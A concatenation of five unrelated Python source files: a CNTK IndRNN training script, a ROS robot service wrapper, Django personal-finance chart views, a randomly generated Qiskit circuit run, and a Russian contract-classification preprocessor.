#
# Copyright (c) 2018 Wang XX
#
# MIT License
# http://www.opensource.org/licenses/mit-license.php
#
import cntk as C
from cntk.initializer import xavier, glorot_uniform, normal
from cntk.ops.functions import UserFunction
from cntk.logging import ProgressPrinter
import numpy as np
import argparse
print(C.device.all_devices())
try:
    C.device.try_set_default_device(C.device.gpu(0))
    C.use_default_device()
except:
    C.device.try_set_default_device(C.device.cpu())
    C.use_default_device()
class IndRNNUnit(object):
    def __init__(self, hidden_dim,input_size,
        recurrent_min_abs=None,
        recurrent_max_abs=None,
        recurrent_kernel_initializer=1.0,
        input_kernel_initializer=normal(0.01),
        activation=C.relu,
        name=None):

        self._hidden_dim=hidden_dim
        self._recurrent_min_abs=recurrent_min_abs
        self._recurrent_max_abs=recurrent_max_abs
        self._recurrent_initializer=recurrent_kernel_initializer
        self._input_initializer=input_kernel_initializer
        self._activation=activation
        self._input_size=input_size

    def checkbound(self):
        if self._recurrent_max_abs:
            self.recur_kernel.value = np.clip(self.recur_kernel.value, -self._recurrent_max_abs, self._recurrent_max_abs)

        if self._recurrent_min_abs:
            abs_kernel = np.clip(np.abs(self.recur_kernel.value), a_min=self._recurrent_min_abs, a_max=np.inf)
            self.recur_kernel.value = np.sign(self.recur_kernel.value) * abs_kernel

        # print('[DEBUG] abs kernel', self.recur_kernel.value)

    def build(self):
        self.input_kernel = C.Parameter(shape=(self._input_size, self._hidden_dim), init=self._input_initializer)
        self.recur_kernel = C.Parameter(shape=(self._hidden_dim,), init=self._recurrent_initializer)
        self.bias = C.Parameter(shape=(self._hidden_dim), init=0)
        @C.Function
        def runit(h,x):
            ht = self._activation(C.times(x, self.input_kernel) + h*self.recur_kernel+self.bias)
            return ht
        return runit
def get_batch(N, seq_len):
    X_num = np.random.uniform(low=0, high=1, size=(N, seq_len, 1))
    X_mask = np.zeros((N, seq_len, 1))
    Y = np.ones((N, 1))
    for i in range(N):
        # Default uniform distribution on position sampling
        positions = np.random.choice(seq_len, size=2, replace=False)
        X_mask[i, positions] = 1
        Y[i, 0] = np.sum(X_num[i, positions])
    X = np.append(X_num, X_mask, axis=2)
    return X, Y

timesteps = 1000
RECURRENT_MAX = pow(2, 1 / timesteps)
U_lowbound=pow(1.0/2.0, 1.0 / timesteps)

bs = 50
base_lr = 0.2 #0.0002*bs

if __name__=='__main__':
    HIDDEN_DIM=128

    parser = argparse.ArgumentParser()
    parser.add_argument('--lstm', action='store_true')
    parser.add_argument('--lr', default=0.2, type=float)
    parser.add_argument('--bs', default=50, help='batch size', type=int)
    parser.add_argument('--time_step', default=1000, help='how long a sequence is', type=int)
    args=parser.parse_args()

    bs = args.bs
    base_lr = args.lr
    timesteps = args.time_step

    lrs = [(t, base_lr*(10**(-i))) for i,t in enumerate(range(1, 60000, 20000))]
    print(lrs)
    lr_schedule = C.learners.learning_parameter_schedule(lrs)

    if not args.lstm:
        input_ph=C.sequence.input_variable(2)
        targets_ph=C.input_variable(shape=1)

        runit1 = IndRNNUnit(HIDDEN_DIM, 2, recurrent_max_abs=RECURRENT_MAX, recurrent_min_abs=0)
        runit2 = IndRNNUnit(HIDDEN_DIM, HIDDEN_DIM, recurrent_max_abs=RECURRENT_MAX, recurrent_min_abs=U_lowbound)
        model = C.layers.Sequential([
            C.layers.Recurrence(runit1.build()),
            C.layers.Fold(runit2.build()),
            C.layers.Dense(1, init_bias=0.1, init=C.normal(0.001))
            ])
        output = model(input_ph)

        loss = C.reduce_mean(C.square(output-targets_ph)) #C.losses.squared_error(output, targets_ph)
        comp = C.combine(output, loss)
        tensorboard_writer = C.logging.TensorBoardProgressWriter(bs, log_dir='.',model=loss)
        learner = C.learners.adam(loss.parameters, lr_schedule, 0.9)
        trainer = C.Trainer(output, loss, learner,[ProgressPrinter(20), tensorboard_writer])

        for step in range(60000):
            input, target = get_batch(500, timesteps)
            runit1.checkbound()
            runit2.checkbound()
            trainer.train_minibatch({input_ph:input, targets_ph:target})
            if step % 200==0:
                trainer.summarize_training_progress()
                print('[training indrnn] lr:', learner.learning_rate())

        res = output.eval({input_ph:input})
        print('predict:{}\ntarget:{}'.format(res,target))
    else:
        # === just use lstm ===
        input_ph2 = C.sequence.input_variable(2)
        targets_ph2 = C.input_variable(shape=1)
        model2 = C.layers.Sequential([
            C.layers.Recurrence(C.layers.LSTM(HIDDEN_DIM)),
            C.sequence.last,
            C.layers.Dense(1, init_bias=0.1, init=C.normal(0.001))
        ])
        output2 = model2(input_ph2)

        loss2 = C.losses.squared_error(output2, targets_ph2)
        comp2 = C.combine(output2, loss2)
        tensorboard_writer2 = C.logging.TensorBoardProgressWriter(bs, log_dir='.',model=loss2)
        learner2 = C.learners.adam(loss2.parameters, lr_schedule, 0.9)
        trainer2 = C.Trainer(output2, loss2, learner2, [ProgressPrinter(20), tensorboard_writer2])

        for step in range(60000):
            input, target = get_batch(10, timesteps)
            trainer2.train_minibatch({input_ph2:input, targets_ph2:target})
            if step % 200 == 0:
                trainer2.summarize_training_progress()

        res = output2.eval({input_ph2:input})
        print('predict:{}\ntarget:{}'.format(res,target))


import rospy
import tf

import euroc_ros_msgs.msg as euroc_ros_msgs
import euroc_ros_msgs.srv as euroc_ros_srvs

class KmrIiwaWrapper:
    def __init__(self, kmriiwa_simulated):

        self.kmriiwa_simulated = kmriiwa_simulated;

        # List of available services and their types
        kmriiwa_services = [
            ('/move_joints', euroc_ros_srvs.MoveJoints, self.on_move_joints),
            ('/move_joint_path', euroc_ros_srvs.MoveJointPath, self.on_move_joint_path),
            ('/move_relative_tcp', euroc_ros_srvs.MoveRelativeTCP, self.on_move_relative_tcp),
            ('/move_relative_platform', euroc_ros_srvs.MoveRelativePlatform, self.on_move_relative_platform),
            ('/move_absolute_navigation', euroc_ros_srvs.MoveAbsoluteNavigation, self.on_move_absolute_platform),
            ('/get_forward_kinematic', euroc_ros_srvs.GetForwardKinematic, self.on_get_forward_kinematic),
            #('/get_inverse_kinematic', euroc_ros_srvs.GetInverseKinematic, self.on_get_inverse_kinematic),
            ('/get_navigation_pose', euroc_ros_srvs.GetNavigationPose, self.on_get_navigation_pose)
        ]

        kmriiwa_node = '/miiwa'
        self.services = dict()
        for name, msg, callback in kmriiwa_services:
            service_name =  kmriiwa_node + name
            self.services[name] = rospy.Service(service_name, msg, callback)

        kmriiwa_topics = [
            ('/joint_state', euroc_ros_msgs.JointState),
            ('/tcp_state', euroc_ros_msgs.TCPState)
            ]

        self.publishers = dict()
        for name, msg in kmriiwa_topics:
            topic_name = kmriiwa_node + name
            self.publishers[name] = rospy.Publisher(topic_name, msg, queue_size=10)

        self.tb = tf.TransformBroadcaster()

    def on_move_joints(self, req):
        # Move the joints of the lbr kmriiwa to the requested joint position
        self.kmriiwa_simulated.move_joints(req.desired_joint_positions.values, req.parameter.velocity, req.parameter.blocking)
        return euroc_ros_srvs.MoveJointsResponse("")

    def on_move_joint_path(self, req):
        # Move the joints of the lbr kmriiwa along the requested joint path
        path = []
        for desired_position in req.path.positions:
            path.append(desired_position.values)
        self.kmriiwa_simulated.move_joint_path(path, req.parameter.velocity, req.parameter.blocking)
        return euroc_ros_srvs.MoveJointPathResponse("")

    def on_move_relative_tcp(self, req):
        self.kmriiwa_simulated.move_relative_tcp(req.transformation, req.parameter.velocity, req.parameter.blocking)
        return euroc_ros_srvs.MoveRelativeTCPResponse("")

    def on_move_relative_platform(self, req):
        #rospy.loginfo("rel_pose: %s", req.rel_pose)
        self.kmriiwa_simulated.move_relative_platform(req.rel_pose, req.parameter.velocity, req.parameter.blocking)
        return euroc_ros_srvs.MoveRelativePlatformResponse("")

    def on_move_absolute_platform(self, req):
        self.kmriiwa_simulated.move_absolute_platform(req.destination_pose, req.parameter.velocity, req.parameter.blocking)
        return euroc_ros_srvs.MoveAbsoluteNavigationResponse("")

    def on_get_forward_kinematic(self, req):
        position, rotation = self.kmriiwa_simulated.get_forward_kinematic(req.joint_position.values)
        tcp_pose = euroc_ros_msgs.TransformationXyzAbc()
        tcp_pose.x = position[0]
        tcp_pose.y = position[1]
        tcp_pose.z = position[2]
        tcp_pose.a = rotation[0]
        tcp_pose.b = rotation[1]
        tcp_pose.c = rotation[2]
        return euroc_ros_srvs.GetForwardKinematicResponse(tcp_pose, "")

    #def on_get_inverse_kinematic(self, req):
    #    found_joint_positions = self.kmriiwa_simulated.get_inverse_kinematic(
    #        req.corresponding_joint_position.values,
    #        [req.tcp_pose.x, req.tcp_pose.y, req.tcp_pose.z],
    #        [req.tcp_pose.a, req.tcp_pose.b, req.tcp_pose.c]
    #        )
    #    if found_joint_positions is None:
    #        return euroc_ros_srvs.GetInverseKinematicResponse(euroc_ros_msgs.JointPosition(), "Cannot find inverse kinematic")
    #
    #    joint_position = euroc_ros_msgs.JointPosition()
    #    joint_position.values = found_joint_positions
    #    return euroc_ros_srvs.GetInverseKinematicResponse(joint_position, "")

    def on_get_navigation_pose(self, req):
        message = euroc_ros_msgs.PlatformPose()
        pp = self.kmriiwa_simulated.get_platform_pose();
        message.x = pp[0]
        message.y = pp[1]
        message.theta = pp[2]

        return euroc_ros_srvs.GetNavigationPoseResponse(message, "")

    def publish(self):
        message = euroc_ros_msgs.JointState()
        message.stamp = rospy.Time.now()
        (message.positions, message.measured_torques, message.external_torques, tcp_pose) = self.kmriiwa_simulated.get_joint_state();
        self.publishers['/joint_state'].publish(message)

        message = euroc_ros_msgs.TCPState()
        message.stamp = rospy.Time.now()
        message.pose.x = tcp_pose[0]
        message.pose.y = tcp_pose[1]
        message.pose.z = tcp_pose[2]
        message.pose.a = tcp_pose[3]
        message.pose.b = tcp_pose[4]
        message.pose.c = tcp_pose[5]
        self.publishers['/tcp_state'].publish(message)

        self.tb.sendTransform((7.89507, 9.32864, 0),
                            tf.transformations.quaternion_from_euler(0, 0, 0),
                            rospy.Time.now(),
                            "world", "map_base")

        self.tb.sendTransform((0, 0, 0.16),
                            tf.transformations.quaternion_from_euler(0, 0, 0),
                            rospy.Time.now(),
                            "tcp", "lbr_iiwa_link_7")


from django.shortcuts import render
from django.contrib.auth.decorators import login_required
from django.utils import timezone
from django.utils.translation import activate, ugettext, ugettext_lazy
from transactions.models import Account, Currency
from . import queries
import json
import datetime as dt
import requests
from pprint import pprint
import re

DATE_FORMAT = "%Y-%m-%d"
UAH = "UAH"

def get_colors():
    colors = ["#FF0F00"]
    try:
        with open('analysis/static/analysis/colors.json') as f:
            colors = json.loads(f.read())
            colors.reverse()
    except Exception as e:
        print(e)
    return colors

def convert_str_to_date(str_date):
    """Return date or None if it's impossible convert."""

    if not str_date:
        return None

    try:
        d = dt.datetime.strptime(str_date, DATE_FORMAT)
    except ValueError:
        d = None
    return d

def get_currencies_exchange():
    """Return average currencies exchange."""

    currencies_exchange = {}

    url_cash = "https://api.privatbank.ua/p24api/pubinfo?json&exchange&coursid=5"
    url_card = "https://api.privatbank.ua/p24api/pubinfo?exchange&json&coursid=11"

    cash_data = get_request_json_data(url_cash)
    card_data = get_request_json_data(url_card)

    if cash_data:

        for cash in cash_data:
            if cash.get("base_ccy", None) == UAH:
                currencies_exchange[cash['ccy']] = float(cash['sale'])

    if card_data:

        for card in card_data:
            if card.get("base_ccy", None) == UAH:
                if currencies_exchange.get(card["ccy"], None):
                    currencies_exchange[card['ccy']] = (currencies_exchange[card['ccy']] + float(card['sale']))/2
                else:
                    currencies_exchange[card['ccy']] = float(card['sale'])

    return currencies_exchange

def get_request_json_data(url):
    """Return data in json or None"""
    try:
        req = requests.get(url)
        data = json.loads(req.text)
    except Exception as e:
        print(e)
        data = None
    finally:
        return data

def get_context_for_stat(request, without_currencies=False):

    # get start, end and currency from request if defined
    start, end, currency = None, None, None
    if request.method == "GET":

        start = convert_str_to_date(request.GET.get('start', None))
        end = convert_str_to_date(request.GET.get('end', None))

        if not without_currencies:
            currency = request.GET.get("currency", None)
            if currency == "All":
                currency = None

    # get last month if start and end is not defined
    if not start:
        start = timezone.now() - dt.timedelta(days=30)
    if not end:
        end = timezone.now()

    context = {
        "start": start.strftime(DATE_FORMAT),
        "end": end.strftime(DATE_FORMAT),
    }

    if not without_currencies:
        # get all currency codes
        context["currencies"] = [currency.code for currency in Currency.objects.filter(user=request.user)]
        context["currencies_exchange"] = get_currencies_exchange()

        # if currencies is not defined, get exchange of currencies and
        # calculate value to one currencies UAH
        currencies_exchange = {} if currency != None else context["currencies_exchange"]

    kwargs = locals()
    del kwargs['request']
    del kwargs['without_currencies']

    return kwargs

@login_required
def balance(request):
    """Show the balance for every currency and account"""

    context = {}
    colors, c = get_colors(), 0
    colors_length = len(colors)-1
    account_data, currencies = [], []
    currencies_exchange = get_currencies_exchange()
    amount_of_balance = 0

    # get all accounts and their balance
    for account in Account.objects.filter(user=request.user):
        account_data.append(
            {
                'title': str(account.account_name),
                'balance': int(account.balance),
                'currency': str(account.currency),
                'value_field': str(account.account_name).replace(' ', ''),
                'color': colors[c]
            }
        )
        # get unique currencies
        if str(account.currency) not in currencies:
            currencies.append(str(account.currency))
        # choose color
        c += 1
        if c > colors_length:
            c = 0

    # build data for chart
    chart_data = []
    for currency in currencies:
        chart_item = {'currency': currency}
        for item in account_data:
            if currency == item['currency']:
                chart_item[item['value_field']]= item['balance']
                amount_of_balance += item['balance'] * currencies_exchange.get(item['currency'], 1)
        chart_data.append(chart_item)

    context['account_data'] = json.dumps(account_data)
    context['chart_data'] = json.dumps(chart_data)
    context['amount_of_balance'] = round(amount_of_balance, 2)
    context['currencies_exchange'] = currencies_exchange
    context['analysis_active'] = 'active'
    context['account_balance_active'] = 'active'

    return render(request, 'analysis/balance.html', context)

@login_required
def account_currency_stat(request):
    """Return data for last month"""

    kws = get_context_for_stat(request, True)
    context, start, end = kws['context'], kws['start'], kws['end']

    # data is list of tuple: fist column is currency code,
    # second is account name, third is amount of costs||incomes,
    # forth is type of article (1=cost, 0=income)
    data = queries.get_accounts_currencies_stat(start.strftime(DATE_FORMAT),
                                                end.strftime(DATE_FORMAT),
                                                str(request.user.id))

    colors, c = get_colors(), 0
    colors_length = len(colors) - 1
    account_data, currencies = [], []
    amount_of_costs, amount_of_incomes = 0, 0
    currencies_exchange = get_currencies_exchange()

    # get all accounts and their amount of consts and incomes
    for item in data:

        # calculate amount of costs and incomes
        if item[3] == 0:
            amount_of_incomes += item[2]*currencies_exchange.get(item[0], 1)
        else:
            amount_of_costs += (-item[2])*currencies_exchange.get(item[0], 1)

        account_data.append(
            {
                'title':  ("Cost of " if item[3]==1 else "Income of ") + str(item[1]),
                'amount': int(item[2]),
                'currency': str(item[0]),
                'value_field': str(item[1]).replace(' ', '')+str(item[3]),
                'color': colors[c]
            }
        )
        # get unique currencies
        if str(item[0]) not in currencies:
            currencies.append(str(item[0]))
        # choose color
        c += 1
        if c > colors_length:
            c = 0

    # build data for chart
    chart_data = []
    types = [
        {'type': "Cost ", "amount": "item['amount'] < 0"},
        {'type': "Income ", "amount": "item['amount'] > 0"},
    ]
    for currency in currencies:
        for type in types:
            chart_item = {'currency': type['type'] + currency}
            for item in account_data:
                if currency == item['currency'] and eval(type['amount']):
                    chart_item[item['value_field']] = item['amount']
            if len(chart_item.keys())>1:
                chart_data.append(chart_item)

    context['account_data'] = json.dumps(account_data)
    context['chart_data'] = json.dumps(chart_data)
    context['amount_of_costs'] = round(amount_of_costs, 2)
    context['amount_of_incomes'] = round(amount_of_incomes,2)
    context['profit'] = amount_of_incomes - amount_of_costs
    context['currencies_exchange'] = currencies_exchange
    context['account_currency_stat_active'] = 'active'
    context['analysis_active'] = 'active'

    return render(request, 'analysis/account_currency_stat.html', context)

@login_required
def costs_incomes_stat(request):

    kws = get_context_for_stat(request)
    context, start, end =kws['context'], kws['start'], kws['end']
    currency, currencies, currencies_exchange = kws['currency'], kws['context']['currencies'], kws['currencies_exchange']

    # data is list of tuple: fist column is currency code,
    # second is cost or income name, third is amount
    data = queries.get_costs_incomes_stat(start.strftime(DATE_FORMAT),
                                                end.strftime(DATE_FORMAT),
                                                str(request.user.id))

    costs_data, incomes_data = [], []
    amount_of_costs, amount_of_incomes = 0, 0
    for item in data:

        # if currency is defined and isn't equal current,
        # filtered this one
        if currency != None and currency != item[0]:
            continue

        # calculate exchange currency. if it is not found, input 1
        exchange = currencies_exchange.get(item[0], 1)

        value = round(abs(item[2])*exchange, 2)
        if item[2]<0:
            amount_of_costs += value
            costs_data.append(
                {"cost": item[1], "value": value}
            )
        else:
            amount_of_incomes += value
            incomes_data.append(
                {"income": item[1], "value": value}
            )

    context['costs_data'] = json.dumps(costs_data)
    context['incomes_data'] = json.dumps(incomes_data)
    context['amount_of_costs'] = amount_of_costs
    context['amount_of_incomes'] = amount_of_incomes
    context['profit'] = amount_of_incomes-amount_of_costs
    context['currency'] = currency
    context['costs_incomes_stat_active'] = 'active'
    context['analysis_active'] = 'active'

    return render(request, 'analysis/costs_incomes_stat.html', context)

@login_required
def costs_incomes_history(request):

    kws = get_context_for_stat(request)
    context, start, end = kws['context'], kws['start'], kws['end']
    currency, currencies, currencies_exchange = kws['currency'], kws['context']['currencies'], kws['currencies_exchange']

    # data is list of tuple: fist column is currency code,
    # second is date, third is amount, forth type (1=cost, 0=income)
    data = queries.get_costs_incomes_stat_history(start.strftime(DATE_FORMAT),
                                                  end.strftime(DATE_FORMAT),
                                                  str(request.user.id))

    # get unique date
    dates, deletes = [], []
    for i, item in enumerate(data):
        # if currency is defined and isn't equal current,
        # filtered this one
        if currency != None and currency != item[0]:
            deletes.insert(0, i)
            continue
        # input unique date
        if item[1] not in dates:
            dates.append(item[1])

    # delete data
    for i in deletes:
        del data[i]

    # build data for chart
    chart_data, pre_ay, pre_by = [], 0, 0
    for date in dates:

        chart_item = {
            "date": date.strftime(DATE_FORMAT),
            "ay": pre_ay,
            "by": pre_by,
        }

        deletes = []
        for i, item in enumerate(data):
            if item[1] != date:
                break
            # delete items that is calculated now
            deletes.insert(0, i)
            # calculate exchange currency. if it is not found, input 1
            exchange = currencies_exchange.get(item[0], 1)
            if item[3] == 1:
                chart_item["ay"] += round(abs(item[2])*exchange, 2)
            else:
                chart_item["by"] += round(abs(item[2])*exchange, 2)

        # delete iterated item
        for i in deletes:
            del data[i]

        # save previous value
        pre_ay, pre_by = round(float(chart_item['ay']), 2), round(float(chart_item['by']), 2)
        chart_data.append(chart_item)

    context['chart_data'] = json.dumps(chart_data)
    context['currency'] = currency
    context['costs_incomes_history_active'] = 'active'
    context['analysis_active'] = 'active'

    return render(request, 'analysis/costs_incomes_history.html', context)

@login_required
def shops_stat(request):

    kws = get_context_for_stat(request)
    context, start, end =kws['context'], kws['start'], kws['end']
    currency, currencies, currencies_exchange = kws['currency'], kws['context']['currencies'], kws['currencies_exchange']

    # data is list of tuple: fist column is currency code,
    # second is shop name, third is amount
    data = queries.get_shops_stat(start.strftime(DATE_FORMAT),
                                  end.strftime(DATE_FORMAT),
                                  str(request.user.id))

    chart_data = []
    amount_of_costs, amount_of_incomes = 0, 0
    colors = get_colors()
    colors_length, c = len(colors)-1, 0

    # get unique shops and delete filter
    data_delete, shops = [], []
    for i, item in enumerate(data):
        # if currency is defined and isn't equal current,
        # filtered this one
        if currency != None and currency != item[0]:
            data_delete.insert(0, i)
            continue

        if item[1] not in shops:
            shops.append(item[1])

    for i in data_delete:
        del data[i]

    # calculate chart data
    for shop in shops:

        item_cost = {
            "shop": "Cost of " + shop,
            "value": 0,
            "color": colors[c],
        }
        item_income ={
            "shop": "Income of " + shop,
            "value": 0,
            "color": colors[c],
        }

        data_delete = []
        for i, item in enumerate(data):

            if item[1] != shop:
                break

            data_delete.insert(0, i)

            # calculate exchange currency. if it is not found, input 1
            exchange = currencies_exchange.get(item[0], 1)

            value = round(item[2]*exchange, 2)
            if value<0:
                amount_of_costs += abs(value)
                item_cost["value"] += value
            else:
                amount_of_incomes += value
                item_income["value"] += value

        for i in data_delete:
            del data[i]

        if item_cost["value"] != 0:
            chart_data.append(item_cost)
        if item_income['value'] != 0:
            chart_data.append(item_income)

        c += 1
        if c > colors_length:
            c = 0

    context['chart_data'] = json.dumps(chart_data)
    context['amount_of_costs'] = amount_of_costs
    context['amount_of_incomes'] = amount_of_incomes
    context['profit'] = amount_of_incomes-amount_of_costs
    context['currency'] = currency
    context['shops_stat_active'] = 'active'
    context['analysis_active'] = 'active'

    return render(request, 'analysis/shops_stat.html', context)


# SECTION
# NAME: PROLOGUE

import qiskit
from qiskit import QuantumCircuit, ClassicalRegister, QuantumRegister
from qiskit.circuit.library.standard_gates import *
from qiskit.circuit import Parameter
# SECTION
# NAME: CIRCUIT

qr = QuantumRegister(6, name='qr')
cr = ClassicalRegister(6, name='cr')
qc = QuantumCircuit(qr, cr, name='qc')
qc.append(ECRGate(), qargs=[qr[0], qr[1]], cargs=[])
qc.append(RXXGate(0.7226506013555898), qargs=[qr[1], qr[4]], cargs=[])

subcircuit = QuantumCircuit(qr, cr, name='subcircuit')
subcircuit.append(CCXGate(), qargs=[qr[0], qr[1], qr[5]], cargs=[])
subcircuit.append(C4XGate(), qargs=[qr[4], qr[0], qr[5], qr[2], qr[1]], cargs=[])
subcircuit.append(CYGate(), qargs=[qr[0], qr[2]], cargs=[])
subcircuit.append(CRZGate(2.7525044919718797), qargs=[qr[0], qr[3]], cargs=[])
subcircuit.append(RZZGate(0.6881227037382152), qargs=[qr[3], qr[4]], cargs=[])
subcircuit.append(RXXGate(2.605316968096909), qargs=[qr[3], qr[4]], cargs=[])
subcircuit.append(RZGate(1.032590781866799), qargs=[qr[0]], cargs=[])
subcircuit.append(CSwapGate(), qargs=[qr[3], qr[5], qr[2]], cargs=[])

qc.append(subcircuit, qargs=qr, cargs=cr)
qc.append(subcircuit.inverse(), qargs=qr, cargs=cr)
qc.append(YGate(), qargs=[qr[4]], cargs=[])
qc.append(RZXGate(2.9059964560129927), qargs=[qr[5], qr[4]], cargs=[])
qc.append(RCCXGate(), qargs=[qr[0], qr[2], qr[3]], cargs=[])
qc.append(RZXGate(1.7133393609362295), qargs=[qr[5], qr[3]], cargs=[])
qc.append(TdgGate(), qargs=[qr[2]], cargs=[])
qc.append(RCCXGate(), qargs=[qr[2], qr[0], qr[1]], cargs=[])
# SECTION
# NAME: MEASUREMENT

qc.measure(qr, cr)
# SECTION
# NAME: OPTIMIZATION_LEVEL

from qiskit import transpile
qc = transpile(qc, basis_gates=None, optimization_level=0, coupling_map=None)
# SECTION
# NAME: QASM_CONVERSION

qc = QuantumCircuit.from_qasm_str(qc.qasm())
# SECTION
# NAME: EXECUTION

from qiskit import Aer, transpile, execute
backend_470cddb0eb3a48219af00ff25a648093 = Aer.get_backend('qasm_simulator')
counts = execute(qc, backend=backend_470cddb0eb3a48219af00ff25a648093, shots=1385).result().get_counts(qc)
RESULT = counts


import enum
import json
import logging
import os.path
import re
from pathlib import Path

import tensorflow as tf
from nltk.tokenize import WhitespaceTokenizer
from transformers import AutoTokenizer, TFAutoModelForSequenceClassification

from analyser.dictionaries import integration_path, labels, label2id

all_key = {
    "CONTRACT": [
        'предмет договра', 'предмет договора', 'Предмет контракта',
        'Предмет догов', 'Предмет и общие условия договора',
        'Общие ', 'Общие сведения', 'Общие положение', 'Статья'
    ],
    "AGREEMENT": [
        'Предмет соглашения', 'Общие ', 'Общие сведения', 'Общие положение', 'определил:', 'Статья'
    ],
    "SUPPLEMENTARY_AGREEMENT": [],
    "POWER_OF_ATTORNEY": ['уполномочивает', 'предоставляет', 'назначает', 'доверенность']
}

all_bad_keys = ['Термины и определения', 'Термин', 'определения', 'Содержание']

all_good_keys = ['Цели и задачи']

model = None
tokenizer = None
path_to_model = os.path.join(integration_path, 'doc-classification')
model_checkpoint2 = "sberbank-ai/ruRoberta-large"
with open(os.path.join(integration_path, 'keys_from_documents.json'), encoding='utf-8') as json_file_with_key:
    key_data = json.load(json_file_with_key)

class list_of_sheets(enum.Enum):
    GOOD = 0
    BAD = 1
    TEST = 2
    TEST2 = 3

def wrapper(document):
    """
    document: Документ от парсера

    Returns: Массив из практик отсортированных по наибольшему проценту
    """
    if not document:
        return None

    global model
    global tokenizer

    json_from_text, sheet = get_text(document, path='There\\is\\nothing\\here')

    if json_from_text is None or json_from_text['text'] == '':
        return None

    if tokenizer is None and model is None:
        if os.path.exists(path_to_model) and os.path.exists(os.path.join(path_to_model, 'config.json')) and os.path.exists(os.path.join(path_to_model, 'tf_model.h5')):
            model = TFAutoModelForSequenceClassification.from_pretrained(
                str(path_to_model), num_labels=len(labels), from_pt=False
            )
            # tokenizer = AutoTokenizer.from_pretrained(str(model_checkpoint2))
            if Path('./tokenizer').is_dir():
                tokenizer = AutoTokenizer.from_pretrained(str('./tokenizer/'))
            else:
                tokenizer = AutoTokenizer.from_pretrained(str(model_checkpoint2))
                tokenizer.save_pretrained('./tokenizer/')
        else:
            logging.error('Document classification model is not found. To enable document classification put files config.json and tf_model.h5 in integration/classifier/doc-classification')
    result_from_tokenizer = tokenizer(json_from_text['text'], truncation=True, max_length=512)
    predictions = model.predict([result_from_tokenizer['input_ids']])['logits']
    predictions = tf.nn.softmax(predictions, name=None)[0].numpy()
    result = []
    for index, item in enumerate(predictions):
        result.append({
            'id': label2id[labels[index]],
            'label': labels[index],
            'score': item.item()
        })
    return sorted(result, key=lambda x: x['score'], reverse=True)

def get_text(document, filename: str = "", path: str = ""):
    text: str = ""
    for ind, par in enumerate(document['paragraphs']):
        if ind < 7:
            text += ' ' + document['paragraphs'][ind]['paragraphHeader']['text']
            text += ' ' + document['paragraphs'][ind]['paragraphBody']['text']
        text += ' ' + document['paragraphs'][ind]['paragraphBody']['text']

    text = clear_text(text)
    text = remove_signature(text)
    text, is_cut_off = remove_header(text)
    text = remove_footer(text)
    text = remove_equal(text)

    list_of_tokenize_words: [str] = WhitespaceTokenizer().tokenize(text)
    # if len(list_of_tokenize_words) >= 300 and not is_cut_off:
    #     text = ' '.join(list_of_tokenize_words[50:450])
    # else:
    text = ' '.join(list_of_tokenize_words[:450])

    validation, length, words_length = basic_text_validation(text)
    return {
               "path": path,
               "documentType": document["documentType"],
               "name": filename if not path else path.split("\\")[-1],
               "text": text,
               "length": len(text),
               "characterLength": length,
               "wordsLength": words_length,
           }, list_of_sheets.GOOD if validation else list_of_sheets.BAD

def clear_text(text: str) -> str:
    text = re.sub(r'\s', ' ', text)
    text = re.sub(r' +', ' ', text)
    text = re.sub(r'(([а-яА-Яa-zA-Z\d\s\u0000-\u26FF]{1,2}( |\s)){5,})', '', text)

    bad_symbols = ['_+', '_x000D_', '\x07', 'FORMTEXT', 'FORMDROPDOWN',
                   '\u0013', '\u0001', '\u0014', '\u0015', '\u0007', '<', '>']
    for bad_symbol in bad_symbols:
        text = re.sub(bad_symbol, '', text)
    return text

def remove_header(text: str) -> (str, bool):
    text = re.sub(r'(\d+, г\. [а-яА-Я\-]+, (ул\.| |)( |)[а-яА-Я\-]+(| )(проспект|улица|| ),( |)д\.( |)[\d\-]+)', ' ',
                  text)
    text = re.sub(
        r'(\d+,(| )[а-яА-Я\- ]+(| ),(| )[а-яА-Я\-]+(| ),'
        r'(| )г\. [а-яА-Я\-]+(|,| ) (ул\.| |)( |)[а-яА-Я\-]+(| |,)( |)д\.( |)[\d\-]+)',
        ' ',
        text)
    text = re.sub(r'(\s+(ИНН|ОГРН|ОКПО|КПП)\s+\d+(\s+|,|\.))', ' ', text)
    text = re.sub(r'(\((ИНН|ОГРН|ОКПО|КПП)\s+\d+\))', ' ', text)
    text = re.sub(r'((ИНН|ОГРН|ОКПО|КПП)\s+\d+)', ' ', text)
    text = re.sub(
        r'((\s+|^)[а-яА-Я\- ]+, \d+, [а-яА-Я]+\. [а-яА-Я]+, г\. [а-яА-Я\-]+, '
        r'(ул\.| |)( |)[а-яА-Я\-]+(,|\.)( |)д\.( |)[\d\-а-яА-Я]+)',
        '', text)
    text = re.sub(r'((\s+|^)[а-яА-Я\- ]+, \d+, [а-яА-Я]+,\s+[а-яА-Я\s]+,\s+г\.\s+[а-яА-Я\s]+,'
                  r'\s+(ул\.|пр\.)\s+[а-яА-Я\s\d]+,\s+(д\.|дом)\s+\d+(\s+|)[а-яА-Я])', ' ', text)

    text = re.sub(r'(\d+,(|\s+)[а-яА-Я\- ]+(|\s+),(\s+|)(г\.|город) [а-яА-Я\-]+(|,|\s+)\s(ул\.|\s+|улица)'

                  r'( |)[а-яА-Я\-]+(| |,)(\s+|)(д\.|дом)(\s+|)[\d\-]+(\s+|)[а-яА-Я\-])', ' ', text)
    text = re.sub(r'(\d+,(\s+[а-яА-Я\s\.\-\d]+,){4,}[а-яА-Я\s\.]+[\d\sа-яА-Я]+)', ' ', text)

    phrase = re.findall(r'((?i)((\s+|^)([\d\.]{2,4})\s+Предмет Договора))', text)

    if phrase:
        try:
            return ' '.join(text.split(phrase[0][0])[1:]), True
        except Exception:
            print(phrase)
    else:
        number = re.findall(r'(\d\.\d\.)', text)
        if number:
            return ' '.join(text.split(number[0])[1:]), True
    return text, False

def basic_text_validation(text: str) -> (bool, int, int):
    basic_text_in_low_reg = text.lower()
    length = len(basic_text_in_low_reg)
    words_length = len(WhitespaceTokenizer().tokenize(basic_text_in_low_reg))
    return length >= 200 and words_length >= 20, length, words_length

def remove_footer(text: str) -> str:
    for key in ['С уважением', 'Приложение:', 'ЗАКАЗЧИК:', 'ПОДРЯДЧИК:']:
        array_of_text = re.split(f"(?i)({key})", text)
        if array_of_text and len(array_of_text) > 1:
            text = ''.join(array_of_text[:-2])
    return text

def remove_equal(text: str) -> str:
    text = text.strip()
    if text.startswith('='):
        text = text[1:]
    return text

def remove_signature(text: str) -> str:
    for key in ["Подписи Сторон:"]:
        if key.lower() in text.lower():
            split_text = re.split(f"(?i)({key})", text)
            text = ' '.join(split_text[:-2])
    return text


